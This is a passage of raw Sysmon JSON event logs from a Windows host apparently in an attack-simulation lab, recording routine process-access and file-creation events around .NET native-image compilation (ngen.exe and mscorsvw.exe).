accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.760","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001016B50A00}","TargetProcessId":"1528","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6826,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:31.760\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4299-5F2D-0000-001016B50A00}\r\nTargetProcessId: 1528\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:31.760","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4299-5F2D-0000-001016B50A00}","TargetProcessId":"1528","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6827,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.072\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-001094080B00}\r\nTargetProcessId: 3848\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.072","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-001094080B00}","TargetProcessId":"3848","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6828,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.072\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-001094080B00}\r\nTargetProcessId: 3848\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.072","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-001094080B00}","TargetProcessId":"3848","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6829,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.072\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-001094080B00}\r\nTargetProcessId: 3848\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.072","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-001094080B00}","TargetProcessId":"3848","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":6830,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:01:32.275\r\nProcessGuid: {90617006-429C-5F2D-0000-001094080B00}\r\nProcessId: 3848\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f08-0\\Microsoft.Activities.Build.dll\r\nCreationUtcTime: 2020-08-07 12:01:32.275","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:01:32.275","ProcessGuid":"{90617006-429C-5F2D-0000-001094080B00}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f08-0\\Microsoft.Activities.Build.dll","CreationUtcTime":"2020-08-07 12:01:32.275","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6831,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.323\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-0010DA0D0B00}\r\nTargetProcessId: 5040\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.323","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-0010DA0D0B00}","TargetProcessId":"5040","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6832,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-0010DA0D0B00}\r\nTargetProcessId: 5040\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-0010DA0D0B00}","TargetProcessId":"5040","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6833,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.354\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-0010DA0D0B00}\r\nTargetProcessId: 5040\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:01:32.354","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-429C-5F2D-0000-0010DA0D0B00}","TargetProcessId":"5040","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:01:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:01:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6834,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:01:32.401\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-429C-5F2D-0000-001040110B00}\r\nTargetProcessId: 4288\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.